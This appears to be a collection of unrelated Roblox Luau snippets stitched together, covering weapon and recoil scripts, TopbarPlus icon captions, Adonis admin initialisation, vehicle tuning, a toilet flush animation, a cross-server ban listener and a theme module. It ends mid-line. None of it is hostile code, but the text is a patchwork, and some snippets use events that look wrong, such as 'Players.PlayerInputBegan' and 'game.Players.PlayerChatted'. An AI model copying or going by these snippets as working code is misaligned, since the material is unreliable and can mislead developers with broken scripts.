Players.PlayerInputBegan:Connect(function(player, input) -- Check if the player is pressing the fire button if input.KeyCode == Enum.KeyCode.E then -- Shoot at the nearest enemy local nearestEnemy = nil local nearestDistance = math.huge for _, enemy in pairs(gameState.enemies) do local distance = (enemy.Position - player.Character.HumanoidRootPart.Position).Magnitude if distance < nearestDistance then nearestEnemy = enemy nearestDistance = distance end end if nearestEnemy ~= nil then -- Shoot at the enemy nearestEnemy:TakeDamage(10) end end end)
-- Captions
DEFAULT_FORCED_GROUP_VALUES["caption"] = 1 function Icon:setCaption(text) assert(typeof(text) == "string" or text == nil, "Expected string, got "..typeof(text)) local realText = text or "" local isVisible = realText ~= "" self.captionText = text self.instances.captionLabel.Text = realText self.instances.captionContainer.Parent = (isVisible and activeItems) or self.instances.iconContainer self._maid.captionContainer = self.instances.captionContainer self:_updateIconSize(nil, self:getIconState()) local captionMaid = Maid.new() self._maid.captionMaid = captionMaid if isVisible then captionMaid:give(self.hoverStarted:Connect(function() if not self.isSelected then self:displayCaption(true) end end)) captionMaid:give(self.hoverEnded:Connect(function() self:displayCaption(false) end)) captionMaid:give(self.selected:Connect(function() if self.hovering then self:displayCaption(false) end end)) local iconContainer = self.instances.iconContainer captionMaid:give(iconContainer:GetPropertyChangedSignal("AbsoluteSize"):Connect(function() if self.hovering then self:displayCaption() end end)) captionMaid:give(iconContainer:GetPropertyChangedSignal("AbsolutePosition"):Connect(function() if self.hovering then self:displayCaption() end end)) end -- This adapts the caption size local CAPTION_X_MARGIN = 6 local CAPTION_CONTAINER_Y_SIZE_SCALE = 0.8 local CAPTION_LABEL_Y_SCALE = 0.58 local iconSize = self:get("iconSize") local labelFont = self:get("captionFont") if iconSize and labelFont then local cellSizeYOffset = iconSize.Y.Offset local cellSizeYScale = iconSize.Y.Scale local iconContainer = self.instances.iconContainer local captionContainer = self.instances.captionContainer if isVisible then local cellHeight = cellSizeYOffset + (cellSizeYScale * iconContainer.Parent.AbsoluteSize.Y) local captionLabel = self.instances.captionLabel local captionContainerHeight = cellHeight * CAPTION_CONTAINER_Y_SIZE_SCALE local captionLabelHeight = captionContainerHeight * CAPTION_LABEL_Y_SCALE local textWidth = textService:GetTextSize(self.captionText, captionLabelHeight, labelFont, Vector2.new(10000, captionLabelHeight)).X captionLabel.TextSize = captionLabelHeight captionLabel.Size = UDim2.new(0, textWidth, CAPTION_LABEL_Y_SCALE, 0) captionContainer.Size = UDim2.new(0, textWidth + CAPTION_X_MARGIN*2, 0, cellHeight*CAPTION_CONTAINER_Y_SIZE_SCALE) else captionContainer.Size = UDim2.new(0, 0, 0, 0) end end self:displayCaption(self.hovering and isVisible) return self end function Icon:displayCaption(bool) if userInputService.TouchEnabled and not self._draggingFinger then return end local yOffset = 8 -- Determine caption position if self._draggingFinger then yOffset = yOffset + THUMB_OFFSET end local iconContainer = self.instances.iconContainer local captionContainer = self.instances.captionContainer local newPos = UDim2.new(0, iconContainer.AbsolutePosition.X+iconContainer.AbsoluteSize.X/2-captionContainer.AbsoluteSize.X/2, 0, iconContainer.AbsolutePosition.Y+(iconContainer.AbsoluteSize.Y*2)+yOffset) captionContainer.Position = newPos -- Determine caption visibility local isVisible = self.captionVisible or false if typeof(bool) == "boolean" then isVisible = bool end self.captionVisible = isVisible -- Change transparency of relavent caption instances local captionFadeInfo = self:get("captionFadeInfo") for _, settingName in pairs(self._groupSettings.caption) do local settingDetail = self._settingsDictionary[settingName] settingDetail.useForcedGroupValue = not isVisible self:_update(settingName) end end
---------------------------------------------------------------------------------------------------- -----------------=[ RECOIL & PRECISAO ]=------------------------------------------------------------ ----------------------------------------------------------------------------------------------------
,VRecoil = {16,20} --- Vertical Recoil ,HRecoil = {8,12} --- Horizontal Recoil ,AimRecover = .65 ---- Between 0 & 1 ,RecoilPunch = .25 ,VPunchBase = 3.75 --- Vertical Punch ,HPunchBase = 1.5 --- Horizontal Punch ,DPunchBase = 1 --- Tilt Punch | useless ,AimRecoilReduction = 5 --- Recoil Reduction Factor While Aiming (Do not set to 0) ,PunchRecover = 0.2 ,MinRecoilPower = .75 ,MaxRecoilPower = 3 ,RecoilPowerStepAmount = .25 ,MinSpread = 0.12 --- Min bullet spread value | Studs ,MaxSpread = 47 --- Max bullet spread value | Studs ,AimInaccuracyStepAmount = 1 ,WalkMultiplier = 0 --- Bullet spread based on player speed ,SwayBase = 0.25 --- Weapon Base Sway | Studs ,MaxSway = 2 --- Max sway value based on player stamina | Studs
--DO NOT CHANGE ANYTHING INSIDE OF THIS SCRIPT BESIDES WHAT YOU ARE TOLD TO UNLESS YOU KNOW WHAT YOU'RE DOING OR THE SCRIPT WILL NOT WORK!!
local hitPart = script.Parent local debounce = true local tool = game.ServerStorage.Cupcake -- Change "Sword" to the name of your tool, make sure your tool is in ServerStorage hitPart.Touched:Connect(function(hit) if debounce == true then if hit.Parent:FindFirstChild("Humanoid") then local plr = game.Players:FindFirstChild(hit.Parent.Name) if plr then debounce = false hitPart.BrickColor = BrickColor.new("Bright red") tool:Clone().Parent = plr.Backpack wait(3) -- Change "3" to however long you want the player to have to wait before they can get the tool again debounce = true hitPart.BrickColor = BrickColor.new("Bright green") end end end end)
-- Experimental Host Component support.
exports.enableFundamentalAPI = false
--!strict --[=[ @function splice @within Array @param array {T} -- The array to splice. @param start? number -- The index to start splicing at (can be negative). @param end? number -- The index to end splicing at (can be negative). @param ... ...T -- The values to insert. @return {T} -- The spliced array. Splices an array. ```lua local array = { 1, 2, 3, 4, 5 } local new = Splice(array, 3, 4, 6, 7) -- { 1, 2, 6, 7, 4, 5 } local new = Splice(array, -1, 0, 6, 7) -- { 1, 2, 3, 4, 6, 7 } local new = Splice(array, 4, -1, 6, 7) -- { 1, 2, 3, 6, 7, 5 } ``` ]=]
local function splice<T>(array: { T }, from: number?, to: number?, ...: T?): { T } local length = #array local result = {} from = if type(from) == "number" then from else 1 to = if type(to) == "number" then to else length if from < 1 then from += length end if to < 1 then to += length end for index = 1, from - 1 do table.insert(result, array[index]) end for _, value in ipairs({ ... }) do table.insert(result, value) end for index = to + 1, length do table.insert(result, array[index]) end return result end return splice
-- Update engine forces base on control input
function Engine:Update() local c = self.Main.CFrame local vel = self.Main.Velocity local bz = c.lookVector local by = c.upVector local bx = c.rightVector local speed = math.abs(vel:Dot(bz)) local stick_pitch = self.PitchInput local stick_yaw = self.YawInput local throttle = 1 local rev = EngineRate(throttle + minThrottle*(1 - throttle)) self.speed = self.Main.Velocity.magnitude if self.BoostInput == -1 then return end MotorSound.Volume = rev^(1/3)*0.4 MotorSound.PlaybackSpeed = rev pitchFx.Octave = 1/(rev < 1e-4 and 1e-4 or rev) local targetSpeed = ((self.BoostInput == 1 and self._BOOSTSPEED) or (self.BoostInput == 0 and self._SPEED) or 0) self.Thruster.Velocity = c.lookVector*(targetSpeed*rev)*v3(1, 0.8, 1) self.Steering.CFrame = cf(v3null, c.lookVector)*(EulerXYZ(0, stick_yaw*self._YAW, 0)*EulerXYZ(self._PITCH*stick_pitch, 0, stick_yaw*self._ROLL)) self.Steering.MaxTorque = v3(25, 25*abs(by.y), 25)*(speed/targetSpeed)^2 self.Steering.P = 3000*Clamp((speed/targetSpeed)^2/2 + 0.5, 0, 1) self.Thruster.MaxForce = v3(100000, math.huge, 100000) end -- Engine:Update()
--// Init
log("Return init function") return service.NewProxy({ __call = function(self, data) log("Begin init") local remoteName, depsName = string.match(data.Name, "(.*)\\(.*)") Folder = service.Wrap(data.Folder --[[or folder and folder:Clone()]] or Folder) setfenv(1, setmetatable({}, { __metatable = unique })) client.Folder = Folder client.UIFolder = Folder:WaitForChild("UI", 9e9) client.Shared = Folder:WaitForChild("Shared", 9e9) client.Loader = data.Loader client.Module = data.Module client.DepsName = depsName client.TrueStart = data.Start client.LoadingTime = data.LoadingTime client.RemoteName = remoteName client.Typechecker = oldReq(service_UnWrap(client.Shared.Typechecker)) client.Changelog = oldReq(service_UnWrap(client.Shared.Changelog)) do local MaterialIcons = oldReq(service_UnWrap(client.Shared.MatIcons)) client.MatIcons = setmetatable({}, { __index = function(self, ind) local materialIcon = MaterialIcons[ind] if materialIcon then self[ind] = "rbxassetid://" .. materialIcon return self[ind] end end, __metatable = "Adonis_MatIcons", }) end --// Toss deps into a table so we don't need to directly deal with the Folder instance they're in log("Get dependencies") for _, obj in Folder:WaitForChild("Dependencies", 9e9):GetChildren() do client.Deps[obj.Name] = obj end --// Do this before we start hooking up events log("Destroy script object") --folder:Destroy() script.Parent = nil --script:Destroy() --// Intial setup log("Initial services caching") for _, serv in SERVICES_WE_USE do local _ = service[serv] end --// Client specific service variables/functions log("Add service specific") ServiceSpecific.Player = service.Players.LocalPlayer or (function() service.Players:GetPropertyChangedSignal("LocalPlayer"):Wait() return service.Players.LocalPlayer end)() ServiceSpecific.PlayerGui = ServiceSpecific.Player:FindFirstChildWhichIsA("PlayerGui") if not ServiceSpecific.PlayerGui then Routine(function() local PlayerGui = ServiceSpecific.Player:WaitForChild("PlayerGui", 120) if not PlayerGui then logError("PlayerGui unable to be fetched? [Waited 120 Seconds]") return end ServiceSpecific.PlayerGui = PlayerGui end) end --[[ -- // Doesn't seem to be used anymore ServiceSpecific.SafeTweenSize = function(obj, ...) pcall(obj.TweenSize, obj, ...) end; ServiceSpecific.SafeTweenPos = function(obj, ...) pcall(obj.TweenPosition, obj, ...) end; ]] ServiceSpecific.Filter = function(str, from, to) return client.Remote.Get("Filter", str, (to and from) or service.Player, to or from) end ServiceSpecific.LaxFilter = function(str, from) return service.Filter(str, from or service.Player, from or service.Player) end ServiceSpecific.BroadcastFilter = function(str, from) return client.Remote.Get("BroadcastFilter", str, from or service.Player) end ServiceSpecific.IsMobile = function() return service.UserInputService.TouchEnabled and not service.UserInputService.MouseEnabled and not service.UserInputService.KeyboardEnabled end ServiceSpecific.LocalContainer = function() local Variables = client.Variables if not (Variables.LocalContainer and Variables.LocalContainer.Parent) then Variables.LocalContainer = service.New("Folder", { Parent = workspace, Name = "__ADONIS_LOCALCONTAINER_" .. client.Functions.GetRandom(), }) end return Variables.LocalContainer end ServiceSpecific.IncognitoPlayers = {} --// Load Core Modules log("Loading core modules") for _, load in CORE_LOADING_ORDER do local modu = Folder.Core:FindFirstChild(load) if modu then log("~! Loading Core Module: " .. tostring(load)) LoadModule(modu, true, { script = script }, true) end end --// Start of module loading and server connection process local runLast = {} local runAfterInit = {} local runAfterLoaded = {} local runAfterPlugins = {} --// Loading Finisher client.Finish_Loading = function() log("Client fired finished loading") if client.Core.Key then --// Run anything from core modules that needs to be done after the client has finished loading log("~! Doing run after loaded") for _, f in runAfterLoaded do Pcall(f, data) end --// Stuff to run after absolutely everything else log("~! Doing run last") for _, f in runLast do Pcall(f, data) end --// Finished loading log("Finish loading") clientLocked = true client.Finish_Loading = function() end client.LoadingTime() --origWarn(tostring(time()-(client.TrueStart or startTime))) service.Events.FinishedLoading:Fire(os.time()) log("~! FINISHED LOADING!") else log("Client missing remote key") client.Kill()("Missing remote key") end end --// Initialize Cores log("~! Init cores") for _, name in CORE_LOADING_ORDER do local core = client[name] log("~! INIT: " .. tostring(name)) if core then if type(core) == "table" or (type(core) == "userdata" and getmetatable(core) == "ReadOnly_Table") then if core.RunLast then table.insert(runLast, core.RunLast) core.RunLast = nil end if core.RunAfterInit then table.insert(runAfterInit, core.RunAfterInit) core.RunAfterInit = nil end if core.RunAfterPlugins then table.insert(runAfterPlugins, core.RunAfterPlugins) core.RunAfterPlugins = nil end if core.RunAfterLoaded then table.insert(runAfterLoaded, core.RunAfterLoaded) core.RunAfterLoaded = nil end if core.Init then log("Run init for " .. tostring(name)) Pcall(core.Init, data) core.Init = nil end end end end --// Load any afterinit functions from modules (init steps that require other modules to have finished loading) log("~! Running after init") for _, f in runAfterInit do Pcall(f, data) end --// Load Plugins log("~! Running plugins") for _, module in Folder.Plugins:GetChildren() do --// Pass example/README plugins. if module.Name == "README" then continue end LoadModule(module, false, { script = module }) --noenv end --// We need to do some stuff *after* plugins are loaded (in case we need to be able to account for stuff they may have changed before doing something, such as determining the max length of remote commands) log("~! Running after plugins") for _, f in runAfterPlugins do Pcall(f, data) end log("Initial loading complete") --// Below can be used to determine when all modules and plugins have finished loading; service.Events.AllModulesLoaded:Connect(function() doSomething end) client.AllModulesLoaded = true service.Events.AllModulesLoaded:Fire(os.time()) --[[client = service.ReadOnly(client, { [client.Variables] = true; [client.Handlers] = true; G_API = true; G_Access = true; G_Access_Key = true; G_Access_Perms = true; Allowed_API_Calls = true; HelpButtonImage = true; Finish_Loading = true; RemoteEvent = true; ScriptCache = true; Returns = true; PendingReturns = true; EncodeCache = true; DecodeCache = true; Received = true; Sent = true; Service = true; Holder = true; GUIs = true; LastUpdate = true; RateLimits = true; Init = true; RunAfterInit = true; RunAfterLoaded = true; RunAfterPlugins = true; }, true)--]] service.Events.ClientInitialized:Fire() log("~! Return success") return "SUCCESS" end, __metatable = "Adonis", __tostring = function() return "Adonis" end, })
-- LOCAL
local starterGui = game:GetService("StarterGui") local guiService = game:GetService("GuiService") local hapticService = game:GetService("HapticService") local runService = game:GetService("RunService") local userInputService = game:GetService("UserInputService") local tweenService = game:GetService("TweenService") local players = game:GetService("Players") local voiceChatService = game:GetService("VoiceChatService") local localPlayer = players.LocalPlayer local IconController = {} local replicatedStorage = game:GetService("ReplicatedStorage") local Signal = require(script.Parent.Signal) local TopbarPlusGui = require(script.Parent.TopbarPlusGui) local topbarIcons = {} local fakeChatName = "_FakeChat" local forceTopbarDisabled = false local menuOpen local topbarUpdating = false local cameraConnection local controllerMenuOverride local isStudio = runService:IsStudio() local isVoiceChatEnabled = false local STUPID_CONTROLLER_OFFSET = 32
--local ClickerModule = require(343254562) --local clickEvent = ClickerModule.RemoteEvent
local interactiveParts = {} local activationDistance = 12 local flushing = false local water = script.Parent.Parent.Water local sound = script.Parent.Parent.ToiletBowl.Sound sound.TimePosition = 0.05 sound:Play() wait(0.67) for i, v in pairs(script.Parent.Parent:GetChildren()) do if v.Name == "WaterSwirl" then v.ParticleEmitter.Transparency = NumberSequence.new(0.9) v.ParticleEmitter.Rate = 500 end end for i = 1, 10 do water.CFrame = water.CFrame * CFrame.new(0, 0.003, 0) wait() end wait(7) for i = 1, 130 do water.Mesh.Scale = water.Mesh.Scale + Vector3.new(-0.003, 0, -0.003) water.CFrame = water.CFrame * CFrame.new(0, -0.003, 0) wait() end wait(0.2) for i, v in pairs(script.Parent.Parent:GetChildren()) do if v.Name == "WaterSwirl" then v.ParticleEmitter.Rate = 0 end end wait() if script.Parent.Parent.ToiletUsed.Value == true then water.BrickColor = BrickColor.new("Pastel yellow") end wait(0) for i = 1, 10 do for ii, v in pairs(script.Parent.Parent:GetChildren()) do if v.Name == "WaterSwirl" then v.ParticleEmitter.Transparency = NumberSequence.new(0.9 + (0.015 * i)) if i == 10 then v.ParticleEmitter.Rate = 0 end end end wait(0.2) end script.Parent.Parent.ToiletUsed.Value = false water.BrickColor = BrickColor.new("Fog") for i = 1, 370 do water.Mesh.Scale = water.Mesh.Scale + Vector3.new(0.001, 0, 0.001) water.CFrame = water.CFrame * CFrame.new(0, 0.001, 0) wait() end water.CFrame = script.Parent.Parent.WaterResetPos.CFrame water.Mesh.Scale = Vector3.new(1,0,1) flushing = false script.Disabled = true
--Ban players across different servers
local banConnection = ms:SubscribeAsync(banTopic, function(message) local targetId = message.Data[1] local banMessage = message.Data[2] for i, plr in pairs(game.Players:GetPlayers()) do if plr.UserId == targetId then plr:Kick(banMessage) end end end)
-- print(animName .. " * " .. idx .. " [" .. origRoll .. "]")
local anim = animTable[animName][idx].anim -- load it to the humanoid; get AnimationTrack toolAnimTrack = humanoid:LoadAnimation(anim) -- play the animation toolAnimTrack:Play(transitionTime) toolAnimName = animName currentToolAnimKeyframeHandler = toolAnimTrack.KeyframeReached:connect(toolKeyFrameReachedFunc) end end function stopToolAnimations() local oldAnim = toolAnimName if currentToolAnimKeyframeHandler then currentToolAnimKeyframeHandler:disconnect() end toolAnimName = "" if toolAnimTrack then toolAnimTrack:Stop() toolAnimTrack:Destroy() toolAnimTrack = nil end return oldAnim end
--////////////////////////////// Include --//////////////////////////////////////
local ChatConstants = require(ReplicatedModules:WaitForChild("ChatConstants")) local ChatChannel = require(modulesFolder:WaitForChild("ChatChannel")) local Speaker = require(modulesFolder:WaitForChild("Speaker")) local Util = require(modulesFolder:WaitForChild("Util")) local ChatLocalization = nil
--Made by Luckymaxer
Tool = script.Parent Handle = Tool:WaitForChild("Handle") Players = game:GetService("Players") RunService = game:GetService("RunService") UserInputService = game:GetService("UserInputService") Animations = {} ServerControl = Tool:WaitForChild("ServerControl") ClientControl = Tool:WaitForChild("ClientControl") InputCheck = Instance.new("ScreenGui") InputCheck.Name = "InputCheck" InputButton = Instance.new("ImageButton") InputButton.Name = "InputButton" InputButton.Image = "" InputButton.BackgroundTransparency = 1 InputButton.ImageTransparency = 1 InputButton.Size = UDim2.new(1, 0, 1, 0) InputButton.Parent = InputCheck Rate = (1 / 60) ToolEquipped = false function SetAnimation(mode, value) if mode == "PlayAnimation" and value and ToolEquipped and Humanoid then for i, v in pairs(Animations) do if v.Animation == value.Animation then v.AnimationTrack:Stop() table.remove(Animations, i) end end local AnimationTrack = Humanoid:LoadAnimation(value.Animation) table.insert(Animations, {Animation = value.Animation, AnimationTrack = AnimationTrack}) AnimationTrack:Play(value.FadeTime, value.Weight, value.Speed) elseif mode == "StopAnimation" and value then for i, v in pairs(Animations) do if v.Animation == value.Animation then v.AnimationTrack:Stop(value.FadeTime) table.remove(Animations, i) end end end end function CheckIfAlive() return (((Character and Character.Parent and Humanoid and Humanoid.Parent and Humanoid.Health > 0 and Player and Player.Parent) and true) or false) end function Equipped(Mouse) Character = Tool.Parent Player = Players:GetPlayerFromCharacter(Character) Humanoid = Character:FindFirstChild("Humanoid") ToolEquipped = true if not CheckIfAlive() then return end Spawn(function() PlayerMouse = Mouse Mouse.Button1Down:connect(function() InvokeServer("Button1Click", {Down = true}) end) Mouse.Button1Up:connect(function() InvokeServer("Button1Click", {Down = false}) end) Mouse.KeyDown:connect(function(Key) InvokeServer("KeyPress", {Key = Key, Down = true}) end) Mouse.KeyUp:connect(function(Key) InvokeServer("KeyPress", {Key = Key, Down = false}) end) local PlayerGui = Player:FindFirstChild("PlayerGui") if PlayerGui then if UserInputService.TouchEnabled then InputCheckClone = InputCheck:Clone() InputCheckClone.InputButton.InputBegan:connect(function() InvokeServer("Button1Click", {Down = true}) end) InputCheckClone.InputButton.InputEnded:connect(function() InvokeServer("Button1Click", {Down = false}) end) InputCheckClone.Parent = PlayerGui end end end) end function Unequipped() if InputCheckClone and InputCheckClone.Parent then InputCheckClone:Destroy() end for i, v in pairs(Animations) do if v and v.AnimationTrack then v.AnimationTrack:Stop() end end Animations = {} ToolEquipped = false end function InvokeServer(mode, value) pcall(function() local ServerReturn = ServerControl:InvokeServer(mode, value) return ServerReturn end) end function OnClientInvoke(mode, value) if mode == "PlayAnimation" and value and ToolEquipped and Humanoid then SetAnimation("PlayAnimation", value) elseif mode == "StopAnimation" and value then SetAnimation("StopAnimation", value) elseif mode == "PlaySound" and value then value:Play() elseif mode == "StopSound" and value then value:Stop() elseif mode == "MousePosition" then return ((PlayerMouse and {Position = PlayerMouse.Hit.p, Target = PlayerMouse.Target}) or nil) end end ClientControl.OnClientInvoke = OnClientInvoke Tool.Equipped:connect(Equipped) Tool.Unequipped:connect(Unequipped)
--[[Brakes]]
Tune.ABSEnabled = true -- Implements ABS Tune.ABSThreshold = 20 -- Slip speed allowed before ABS starts working (in SPS) Tune.FBrakeForce = 2100 -- Front brake force Tune.RBrakeForce = 2000 -- Rear brake force Tune.PBrakeForce = 5000 -- Handbrake force Tune.FLgcyBForce = 15000 -- Front brake force [PGS OFF] Tune.RLgcyBForce = 10000 -- Rear brake force [PGS OFF] Tune.LgcyPBForce = 25000 -- Handbrake force [PGS OFF]
--[=[ @within RemoteSignal @interface Connection .Disconnect () -> nil .Connected boolean ]=]
function RemoteSignal.new( parent: Instance, name: string, inboundMiddleware: Types.ServerMiddleware?, outboundMiddleware: Types.ServerMiddleware? ) local self = setmetatable({}, RemoteSignal) self._re = Instance.new("RemoteEvent") self._re.Name = name self._re.Parent = parent if outboundMiddleware and #outboundMiddleware > 0 then self._hasOutbound = true self._outbound = outboundMiddleware else self._hasOutbound = false end if inboundMiddleware and #inboundMiddleware > 0 then self._directConnect = false self._signal = Signal.new() self._re.OnServerEvent:Connect(function(player, ...) local args = table.pack(...) for _, middlewareFunc in ipairs(inboundMiddleware) do local middlewareResult = table.pack(middlewareFunc(player, args)) if not middlewareResult[1] then return end args.n = #args end self._signal:Fire(player, table.unpack(args, 1, args.n)) end) else self._directConnect = true end return self end
-- Listening:
function Replica:ListenToChange(path, listener) --> [ScriptConnection] listener(new_value) if type(listener) ~= "function" then error("[ReplicaController]: Only a function can be set as listener in Replica:ListenToChange()") end local path_array = (type(path) == "string") and StringPathToArray(path) or path if #path_array < 1 then error("[ReplicaController]: Passed empty path - a value key must be specified") end -- Getting listener table for given path: local listeners = CreateTableListenerPathIndex(self, path_array, 2) table.insert(listeners, listener) -- ScriptConnection which allows the disconnection of the listener: return Madwork.NewArrayScriptConnection(listeners, listener, CleanTableListenerTable, {self._table_listeners, path_array}) end function Replica:ListenToNewKey(path, listener) --> [ScriptConnection] listener(new_value, new_key) if type(listener) ~= "function" then error("[ReplicaController]: Only a function can be set as listener in Replica:ListenToNewKey()") end local path_array = (type(path) == "string") and StringPathToArray(path) or path -- Getting listener table for given path: local listeners = CreateTableListenerPathIndex(self, path_array, 3) table.insert(listeners, listener) -- ScriptConnection which allows the disconnection of the listener: if #path_array == 0 then return Madwork.NewArrayScriptConnection(listeners, listener) else return Madwork.NewArrayScriptConnection(listeners, listener, CleanTableListenerTable, {self._table_listeners, path_array}) end end function Replica:ListenToArrayInsert(path, listener) --> [ScriptConnection] listener(new_value, new_index) if type(listener) ~= "function" then error("[ReplicaController]: Only a function can be set as listener in Replica:ListenToArrayInsert()") end local path_array = (type(path) == "string") and StringPathToArray(path) or path -- Getting listener table for given path: local listeners = CreateTableListenerPathIndex(self, path_array, 4) table.insert(listeners, listener) -- ScriptConnection which allows the disconnection of the listener: if #path_array == 0 then return Madwork.NewArrayScriptConnection(listeners, listener) else return Madwork.NewArrayScriptConnection(listeners, listener, CleanTableListenerTable, {self._table_listeners, path_array}) end end function Replica:ListenToArraySet(path, listener) --> [ScriptConnection] listener(new_value, index) if type(listener) ~= "function" then error("[ReplicaController]: Only a function can be set as listener in Replica:ListenToArraySet()") end local path_array = (type(path) == "string") and StringPathToArray(path) or path -- Getting listener table for given path: local listeners = CreateTableListenerPathIndex(self, path_array, 5) table.insert(listeners, listener) -- ScriptConnection which allows the disconnection of the listener: if #path_array == 0 then return Madwork.NewArrayScriptConnection(listeners, listener) else return Madwork.NewArrayScriptConnection(listeners, listener, CleanTableListenerTable, {self._table_listeners, path_array}) end end function Replica:ListenToArrayRemove(path, listener) --> [ScriptConnection] listener(old_value, old_index) if type(listener) ~= "function" then error("[ReplicaController]: Only a function can be set as listener in Replica:ListenToArrayRemove()") end local path_array = (type(path) == "string") and StringPathToArray(path) or path -- Getting listener table for given path: local listeners = CreateTableListenerPathIndex(self, path_array, 6) table.insert(listeners, listener) -- ScriptConnection which allows the disconnection of the listener: if #path_array == 0 then return Madwork.NewArrayScriptConnection(listeners, listener) else return Madwork.NewArrayScriptConnection(listeners, listener, CleanTableListenerTable, {self._table_listeners, path_array}) end end function Replica:ListenToWrite(function_name, listener) --> [ScriptConnection] listener(params...) if type(listener) ~= "function" then error("[ReplicaController]: Only a function can be set as listener in Replica:ListenToWrite()") end if self._write_lib == nil then error("[ReplicaController]: _write_lib was not declared for this replica") end local func_id = self._write_lib_dictionary[function_name] if func_id == nil then error("[ReplicaController]: Write function \"" .. function_name .. "\" not declared inside _write_lib of this replica") end -- Getting listener table for given path: local listeners = self._function_listeners[func_id] if listeners == nil then listeners = {} self._function_listeners[func_id] = listeners end table.insert(listeners, listener) -- ScriptConnection which allows the disconnection of the listener: return Madwork.NewArrayScriptConnection(listeners, listener) end function Replica:ListenToRaw(listener) --> [ScriptConnection] (action_name, params...) local listeners = self._raw_listeners table.insert(listeners, listener) return Madwork.NewArrayScriptConnection(listeners, listener) end
-- Connect the event handlers to the appropriate events
game.Players.PlayerAdded:Connect(onPlayerJoin) game.Players.PlayerChatted:Connect(onPlayerChatted)
--!strict
type Array<T> = { [number]: T } type callbackFn<T> = (element: T, index: number, array: Array<T>) -> boolean type callbackFnWithThisArg<T, U> = (self: U, element: T, index: number, array: Array<T>) -> boolean type Object = { [string]: any }
--[[ Game loop implementaiton ]]
local gameStageHandler = GameStageHandler.new()
--removedLength = 8
function onTouched(hit) if hit.Parent == nil or hit.Name == "Bullet" then return end local humanoid = hit.Parent:findFirstChild("Humanoid") if(ball.Name=="Bullet") then -- make a splat for i=1,3 do local s = Instance.new("Part") s.Name = "Shard" s.Shape = 1 -- block s.formFactor = 2 -- plate s.Size = Vector3.new(.4,.4,.4) s.BrickColor = BrickColor.new(blacks[math.random(#blacks)]) s.Material = Enum.Material.Plastic local v = Vector3.new(math.random(-1,1), math.random(0,1), math.random(-1,1)) s.Velocity = 125 * v s.CFrame = CFrame.new(ball.Position + v, v) local new_script = script:clone() new_script.Disabled = false new_script.Parent = s s.Parent = game.Workspace local tag = ball:findFirstChild("creator") if tag~= nil then local new_tag = tag:clone() new_tag.Parent = s end debris:AddItem(s, 2) if humanoid ~= nil then tagHumanoid(humanoid) humanoid:TakeDamage(damage) wait(2) untagHumanoid(humanoid) end connection:disconnect() ball.Parent = nil end else if humanoid ~= nil then tagHumanoid(humanoid) humanoid:TakeDamage(10) wait(2) untagHumanoid(humanoid) ball.Parent = nil end --removedLength = 2 connection:disconnect() end end function tagHumanoid(humanoid) -- todo: make tag expire local tag = ball:findFirstChild("creator") if tag ~= nil then local new_tag = tag:clone() new_tag.Parent = humanoid end end function untagHumanoid(humanoid) if humanoid ~= nil then local tag = humanoid:findFirstChild("creator") if tag ~= nil then tag.Parent = nil end end end connection = ball.Touched:connect(onTouched) wait(8)
-- (Hat Giver Script - Loaded.)
debounce = true function onTouched(hit) if (hit.Parent:findFirstChild("Humanoid") ~= nil and debounce == true) then debounce = false h = Instance.new("Hat") p = Instance.new("Part") h.Name = "WerewolfCrown" p.Parent = h p.Position = hit.Parent:findFirstChild("Head").Position p.Name = "Handle" p.formFactor = 0 p.Size = Vector3.new(0,-0.25,0) p.BottomSurface = 0 p.TopSurface = 0 p.Locked = true script.Parent.Mesh:clone().Parent = p h.Parent = hit.Parent h.AttachmentPos = Vector3.new(0, -0.05, 0) h.AttachmentRight = Vector3.new(1, 0, 0) h.AttachmentUp = Vector3.new(0, 1, 0) h.AttachmentForward = Vector3.new(-0, -0, -1) wait(5) debounce = true end end script.Parent.Touched:connect(onTouched)
--- haha pro scripting go brrr (not copy and pasted)
local fl = Instance.new("Motor", script.Parent.Parent.Misc.FL.SS) --doors local fr = Instance.new("Motor", script.Parent.Parent.Misc.FR.SS) local rl = Instance.new("Motor", script.Parent.Parent.Misc.RL.SS) local rr = Instance.new("Motor", script.Parent.Parent.Misc.RR.SS) fl.MaxVelocity = 0.03 fl.Part0 = script.Parent.FL fl.Part1 = fl.Parent fr.MaxVelocity = 0.03 fr.Part0 = script.Parent.FR fr.Part1 = fr.Parent rl.MaxVelocity = 0.03 rl.Part0 = script.Parent.RL rl.Part1 = rl.Parent rr.MaxVelocity = 0.03 rr.Part0 = script.Parent.RR rr.Part1 = rr.Parent
--[[ Instead of doing lots of task.spawns for running on seperate threads use this which is more performant & is better for memory management. `FreeThread` idea from derived from `Signal`. I want to point how the way it operates is the same but is improved. :::note 1. Garbage collection is all about references. 2. Only use this module if you know the enviroments wont always yield (this can severly slow down code) ::: ]]
local FreeThread: thread? local function AquireFreeThreadAndCall(fn: (...unknown) -> (), ...) local aquiredThread = FreeThread FreeThread = nil fn(...) FreeThread = aquiredThread end local function CreateResumptionForFreeThread() while true do AquireFreeThreadAndCall(coroutine.yield()) end end local function Call<T...>(func: (T...) -> (), ...: T...) assert(type(func) == 'function', `Function expected, got {typeof(func)}`) if not FreeThread then FreeThread = task.spawn(CreateResumptionForFreeThread) end task.spawn(FreeThread :: thread, func, ...) end local function All(tbl: {(...unknown) -> ()}, ...: unknown) for _, fn in tbl do Call(fn, ...) end end local function List(tbl: {}, func: (key: any, value: any) -> ()) for k, v in tbl do Call(func, k, v) end end local function Empty() FreeThread = nil end local class = { Empty = Empty, Call = Call, List = List, All = All, } return class
-- Call the update function initially to set the visibility based on the default settings
updateFrameVisibility()
--[[ ]]
local ReplicatedStorage = game:GetService("ReplicatedStorage") local AvatarEditor = ReplicatedStorage.AvatarEditor local Signal = require(AvatarEditor.Shared.Util.Signal) local Maid = require(AvatarEditor.Shared.Util.Maid) local Settings = require(AvatarEditor.Shared.Settings) local themesFolder = AvatarEditor.Themes local currentTheme = require(themesFolder[Settings.DEFAULT_THEME]) local currentName = Settings.DEFAULT_THEME local module = {} module.Changed = Signal.new() function module:GetColor(style) return currentTheme[style] end function module:Set(themeName) if currentName == themeName then return end local themeModule = themesFolder:FindFirstChild(themeName) if themeModule then currentTheme = nil currentTheme = require(themeModule) currentName = themeModule.Name module.Changed:Fire(themeName) else warn(themeName, "not a valid theme") end end function module:Bind(frame, property, style) local connections = Maid.new() --maid:GiveTask(connections) --local ancestorChangedConnection, themeChangedConnection local function update() frame[property] = self:GetColor(style) end update() connections:GiveTask(module.Changed:Connect(update)) connections:GiveTask(frame.AncestryChanged:Connect(function(_, parent) if not parent then connections:DoCleaning() update = nil end end)) return connections end function module:GetAll() local themes = {} local themeModules 